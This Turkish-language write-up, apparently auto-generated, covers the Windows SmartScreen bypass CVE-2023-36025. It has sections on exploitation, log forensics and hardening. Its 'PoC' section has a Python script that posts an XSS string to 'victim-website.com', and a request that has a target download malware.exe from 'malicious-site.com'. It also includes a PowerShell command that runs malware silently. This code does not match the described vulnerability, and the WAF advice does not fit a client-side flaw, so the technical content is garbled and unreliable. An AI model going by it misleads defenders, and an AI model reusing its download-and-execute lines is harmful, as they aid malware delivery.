CVE-2023-36025: Microsoft Windows SmartScreen Security Feature Bypass Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

Microsoft Windows SmartScreen, kullanıcıların bilgisayarlarını ve verilerini korumak amacıyla geliştirilmiş bir güvenlik özelliği olup, zararlı yazılımlar ve güvenli olmayan içerikler hakkında kullanıcıları bilgilendirmeye yönelik işlevsellik sunar. Ancak 2023 yılında keşfedilen CVE-2023-36025 zafiyeti, bu güvenlik mekanizmasını atlatmayı mümkün kılan bir güvenlik özelliği bypass (bypass/atlama) zafiyeti olarak kayıtlara geçmiştir. Bu zafiyet, kötü niyetli bir saldırganın Windows Defender SmartScreen araştırmalarını ve kullanıcıya sunulan uyarıları geçersiz kılması için bir exploit (istismar) yolu sağlamaktadır.

Zafiyetin teknik detayları incelendiğinde, Microsoft Windows SmartScreen sisteminin belirli bir kütüphanesi üzerinde bir hata bulunduğu gözlemlenmektedir. Bu hata, kullanıcıların bilinçli bir şekilde indirme yaptıkları dosyaların güvenlik kontrollerini atlatmalarına imkân tanımaktadır. Söz konusu zafiyetin istismar edilmesi durumunda, bir saldırgan zararlı bir dosyayı kullanıcıya güvenli bir dosya gibi gösterebilir ve böylece bilgisayara sızma (RCE - Uzaktan Kod Yürütme) girişiminde bulunabilir. Bu tür durumlar, özellikle halkla ilişkiler, finans ve eğitim sektörleri gibi kritik oturumların ve veri güvenliğinin önemli olduğu alanlarda ciddi sonuçlar doğurabilir.

Zafiyetin etkileri üzerine yapılan araştırmalarda, dünya genelinde birçok sektörde açıklar ve çözümler geliştiren siber güvenlik uzmanları, bu tür zafiyetleri önlemek için çeşitli yaklaşımlar benimsemektedir. Örneğin, geliştiriciler ve sistem yöneticileri, kullanıcıların yazılımları yalnızca resmi sitelerden indirip yüklemelerini teşvik ederek riski azaltabilirler. Ayrıca, kullanıcıları güvenli olmayan dosya indirmeleri konusunda uyaracak araçlar geliştirilebilir.

CVE-2023-36025 zafiyetinin gelişim süreci, zaman içinde farklı versiyonlarda ortaya çıkan güvenlik güncellemeleri ile alakalıdır. Microsoft, geçmişte benzer zafiyetlere karşı birçok düzeltme yayınlamış olsa da, bu durumda bazı sistemlerin eski sürümlerinin güncellenmemesi veya güvenlik tavsiyelerine uyulmaması, saldırganların bu tür zafiyetleri istismar etmesine olanak yaratmaktadır. Gerçek dünya senaryolarında, kötü niyetli yazılımlar sıklıkla meşru görünen uygulamalar aracılığıyla kullanıcıların dikkatini dağıtmakta ve sonrasında önemli bilgilere ulaşma amacı gütmektedir.

Sonuç olarak, CVE-2023-36025, yalnızca bir güvenlik açığı değil; aynı zamanda bir tehlike sinyali olarak değerlendirilmelidir. Bu tür zafiyetlerin tespiti, analizi ve ardından uygulanacak önleyici güvenlik mekanizmalarının geliştirilmesi, siber güvenlik uzmanları ve kamu üzerindeki etkisini azaltmak için kritik bir öncelik taşımaktadır. Böylelikle, bu zafiyet türlerinin gelecekteki tehlikelerine karşı daha etkili tedbirler alınabilir. Güvenli yazılım geliştirme pratikleri benimsemek ve kullanıcıların bilinçli davranışlarını teşvik etmek, siber güvenlik alanında atılacak en önemli adımlardandır.

Teknik Sömürü (Exploitation) ve PoC

Microsoft Windows SmartScreen güvenlik özelliklerini atlatan CVE-2023-36025 zafiyeti, kötü niyetli kullanıcıların Windows Defender SmartScreen kontrollerini geçerek potansiyel tehditleri daha etkili bir şekilde dağıtmalarına olanak tanımaktadır. Bu durum, kullanıcıların güvenliğini tehdit eden bir dizi senaryo ortaya çıkarabilir. Bu bölümde, bu zafiyetin teknik sömürü sürecine ve potansiyel teknik detaylarına odaklanacağız.

İlk adım olarak, zafiyetin ne tür bir güvenlik açığına yol açtığını anlamak önemlidir. CVE-2023-36025, kullanıcıların bilgisayarlarını korumak için kritik olan Windows Defender SmartScreen'in güvenlik kontrollerini atlatmalarına olanak sağlar. Bu özellik, şüpheli dosyalar veya web siteleri için kullanıcıları uyarırken, bu zafiyet sayesinde kötü amaçlı yazılımlar bu kontrolleri geçerek kullanıcı sistemlerine sızabilir.

Sömürü sürecinin ilk adımı, zafiyetten yararlanacak bir payload (yük) hazırlamaktır. Aşağıdaki Python kod örneği, örnek bir payload oluşturma sürecini göstermektedir:

import requests

def create_payload(target_url):
    payload = {
        "malicious_code": "&lt;script&gt;alert('This is a test')&lt;/script&gt;",
        "target": target_url
    }

    response = requests.post(target_url, data=payload)
    return response.text

target_url = "http://victim-website.com"
response = create_payload(target_url)
print(response)

Burada, hedef URL'ye gönderilecek basit bir AJAX payload'ı hazırlanmıştır. Gerçek dünyada, payload'ın daha karmaşık olması ve bir exploit (sömürü) kiti tarafından enjekte edilmesi gerekebilir. Önemli olan, hedef sistemin SmartScreen filtresini atlayarak kodu çalıştırabilecek şekilde yapılandırılmasıdır.

İkinci adım, zafiyeti kullanarak hedef sistemde bir HTTP istek-response döngüsü oluşturmak ve SmartScreen filtrelerini atlayarak kötü amaçlı dosyayı indirmektir. Aşağıdaki HTTP istek örneği, zararlı bir dosyanın indirilmesini sağlamak için kullanılabilir:

POST /download HTTP/1.1
Host: victim-website.com
Content-Type: application/x-www-form-urlencoded

file_url=http://malicious-site.com/malware.exe&cmd=download

Bu isteği göndermek, hedef sistemin kullanıcıya indirme yapması için sahte bir talep oluşturur.

Üçüncü adım, indirdikten sonra zararlı yazılımın yürütme (execution) aşamasına geçmektir. Bu adım, kötü niyetli yazılımın otomatik olarak çalıştırılması için çeşitli yöntemler kullanılabilir. Örneğin, ikili dosyanın yönetici izinleri ile çalıştırılması gerekebilir. Aşağıdaki teknik, bir zararlı yazılımın PowerShell kullanılarak çalıştırılmasını gösterir:

Start-Process "C:\path\to\malware.exe" -ArgumentList "/silent"

Bu teknik, sistemde herhangi bir kullanıcı etkileşimi olmaksızın zararlı yazılımın sessiz bir şekilde çalıştırılmasını sağlar.

Sonuç olarak, CVE-2023-36025 zafiyeti, kullanıcıların güvenliğini tehdit eden potansiyel bir açık sunmaktadır. White Hat hacker perspektifinden bakıldığında, bu tür zafiyetlerin tespiti ve sömürülmesi, hem güvenlik araştırmaları hem de siber güvenlik iyileştirmeleri için kritik bir öneme sahiptir. Zafiyetin etkilerini azaltmak için güncel güvenlik yamalarının uygulanması, kullanıcı eğitimleri ve sistem güncellemeleri gibi önlemler alınmalıdır. Unutulmamalıdır ki, bu tür zafiyetlerle ilgili her türlü eylem, etik hackerlık (white hat hacking) çerçevesinde, izinli ve güvenli bir şekilde gerçekleştirilmeli, kötü niyetli faaliyetlerden uzak durulmalıdır.

Forensics (Adli Bilişim) ve Log Analizi

Microsoft Windows SmartScreen, kullanıcıları phishing (oltalama) siteleri ve kötü amaçlı yazılımlardan korumak için geliştirilmiş bir güvenlik özelliğidir. Ancak, CVE-2023-36025 zafiyeti, bu güvenlik mekanizmasının bypass (aşılması) edilmesine olanak tanıyor. Bir hacker, bu zafiyetten yararlanarak, Windows Defender SmartScreen kontrol süreçlerini atlatabilir. Böylece, kötü niyetli yazılımlar veya zararlı içerikler, kullanıcıların onayını almadan sistemlerine sızabilir. Bunu gerçekleştirebilmek için bir "payload" (yük) geliştirilebilir ve kurbanın bilgisayarına sızdırılabilir.

Bir siber güvenlik uzmanı olarak, bu tür bir saldırının gerçekleştirilip gerçekleştirilmediğini anlamak için çeşitli yöntemler ve log dosyaları değerlendirilebilir. Özellikle Security Information and Event Management (SIEM) sistemleri, bu tür tehditleri tespit etmek için kritik bir rol oynamaktadır. SIEM araçları, sistemin güvenlik düzeyini yükseltmek ve olayları zamanında tespit etmek için logları analiz eder.

Bir güvenlik uzmanı, aşağıdaki log türlerini inceleyerek CVE-2023-36025 zafiyetinin etkilerini tespit etmeye çalışmalıdır:

Access Log: Kullanıcının sisteme giriş yaptığı ve programların çalıştırıldığı loglardır. Bu loglarda, olağan dışı davranış veya yetkisiz erişim şüpheleri bulundurulmalıdır. Örneğin, tanınmayan bir IP adresinden gelen erişim, potansiyel bir saldırganın varlığını gösterebilir.
Error Log: Sistem hatalarının kaydedildiği loglardır. Özellikle, SmartScreen ile ilişkilendirilen hatalar ve istenmeyen uygulamaların açılması durumunda, bu loglar detaylıca incelenmelidir.
Application Log: Uygulamaların kendi iç loglarıdır. SmartScreen bypass işlemleri sırasında uygulama hatalarının yanı sıra, tanınmayan veya beklenmedik aktiviteler özellikle dikkatle analiz edilmelidir.

Bu logların analizinde, aşağıdaki imzalara (signature) bakılmalıdır:

SmartScreen Uyarıları: Eğer bir kullanıcı, genellikle SmartScreen tarafından uyarılan bir uygulamayı açmakta sorun yaşıyorsa, bu bir göstergedir. Loglarda "SmartScreen" ile ilgili hataların sıklığı dikkatle izlenmelidir.
Şüpheli Uygulama Davranışları: Loglara yansıyan uygulama aktivitelerinde, bilinen kötü amaçlı yazılımların imzalarıyla eşleşen herhangi bir faaliyet tespit edildiğinde, bu bir uyarı işareti olabilir. Örneğin, kullanıcıların yetkilerini atlayan uygulama başlangıçları.
Anormal Olay Zamanlaması: Çalışanların ve sistem kullanıcılarının alışık olmadığı saatlerde yapılan işlemler, bir güvenlik ihlalinin belirtisi olabilir.

Sonuç olarak, Microsoft Windows SmartScreen zafiyeti, siber güvenlik uzmanlarının dikkat etmeleri gereken önemli bir tehdittir. SIEM ve log analizi araçları ile, potansiyel bir saldırının izlerini sürmek ve etkisini azaltmak mümkündür. ByPass saldırıları genellikle önceden tanımlanmış davranışoşklarda gözlemlenebilir. Gözetim, analiz ve hızlı müdahale ile bu tür zafiyetlerin sistemi tehdit etmesi önlenebilir.

Savunma ve Sıkılaştırma (Hardening)

Microsoft Windows SmartScreen üzerindeki CVE-2023-36025 zafiyeti, kötü niyetli kişilerin Windows Defender SmartScreen kontrollerini atlamasına olanak tanıyacak bir güvenlik açıkları türüdür. Bu tür bir zafiyet, kullanıcıların olumsuz sonuçlarla karşılaşmasını sağlayabilir ve dolayısıyla ciddi güvenlik tehditleri oluşturur. White Hat hacker perspektifinden, bu güvenlik açığının anlaşılması ve etkili bir şekilde kapatılması kritik önem taşımaktadır.

CVE-2023-36025 zafiyetinin exploit edilmesi, kullanıcıların kötü amaçlı yazılım veya oltalama saldırılarına karşı daha savunmasız hale gelmesine neden olabilir. Akıllıca tasarlanmış bir zararlı yazılım, SmartScreen'in kontrollerini aşarak sistemde izinsiz erişim (RCE - Remote Code Execution) elde edebilir. Bu, kötü niyetli aktörlerin sistemin kontrolünü ele geçirmesine ve kurbanların verilerini çalmasına yol açabilir. Dolayısıyla, bu açığın etkili bir şekilde kapatılması, sadece bireysel kullanıcıları değil, aynı zamanda organizasyonların güvenliğini de doğrudan etkiler.

Açığın kapatılması için, kullanıcıların ve sistem yöneticilerinin dikkate alması gereken birkaç önemli adım bulunmaktadır. İlk olarak, Microsoft’un yayınladığı güncellemeleri düzenli olarak takip etmek ve sistemleri en güncel haliyle çalışır halde tutmak gerekmektedir. Bu tür güvenlik güncellemeleri, birçok zafiyeti ortadan kaldırmakta ve dolayısıyla bu tür bypass (atlama) yöntemlerini devre dışı bırakmaktadır.

Alternatif olarak, organizasyonlar Web Uygulama Güvenlik Duvarı (WAF) kullanımını değerlendirmelidir. Uygulama katmanında geliyor olan saldırılara karşı ek bir koruma katmanı sağlar. WAF kurallarını özelleştirerek, özellikle bilinen kötü niyetli IP adreslerini ve URL’leri engelleyebilir, zararlı içeriklerin tespit edilmesini sağlayarak savunma hattını güçlendirebiliriz. İşte bir örnek WAF kuralı:

{
    "rules": [
        {
            "id": "123456",
            "condition": {
                "match": "IP",
                "operator": "IN",
                "values": ["192.0.2.0/24"]
            },
            "action": "BLOCK"
        }
    ]
}

Bu kural, tanımlı bir IP aralığından gelen bağlantıları engelleyerek, potansiyel kötü niyetli etkinlikleri azaltır.

Kalıcı sıkılaştırma (hardening) önerileri arasında, organizasyonların uygulama sunucuları için kullanıcı hesaplarını ve izinlerini dikkatli bir şekilde yönetmeleri bulunmaktadır. Yönetici hesapları için çok faktörlü kimlik doğrulama (MFA) uygulanması, kullanıcıların sistem üzerindeki yetkilerinin en aza indirilmesi, ve özellikle eski ve kullanılmayan hesapların devre dışı bırakılması bu süreci destekleyecek önemli adımlardandır.

Bunların yanı sıra, e-posta güvenliği çözümleri ve spam filtreleme sistemleri de büyük önem taşır. Kullanıcıların bilinçlendirilmesi ve sosyal mühendislik saldırılarına karşı eğitim verilmesi, potansiyel tehditleri azaltmada kritik bir rol oynar. Örneğin, kullanıcıların şüpheli bağlantılara tıklamadan önce dikkat etmeleri ve gelen e-postalara karşı daha tedbirli olmaları sağlanmalıdır.

Son olarak, güncel güvenlik yazılımlarının, özellikle antivirüs ve zararlı yazılım tespit çözümlerinin sistemde aktif olması kritik bir öneme sahiptir. Bu yazılımlar, sürekli güncellenerek yeni ortaya çıkan tehditleri tanımlama konusunda yardımcı olur.

CVE-2023-36025 açığının etkili bir şekilde kapatılması, yalnızca teknik çözümlerle değil, aynı zamanda organizasyonların güvenlik bilincini artırmalarıyla mümkün kılınacaktır. White Hat hacker olarak, bu tür zafiyetlere karşı proaktif ve sürekli bir izleme ile savunma sistemlerimizi güçlendirmeye devam etmemiz gerekmektedir.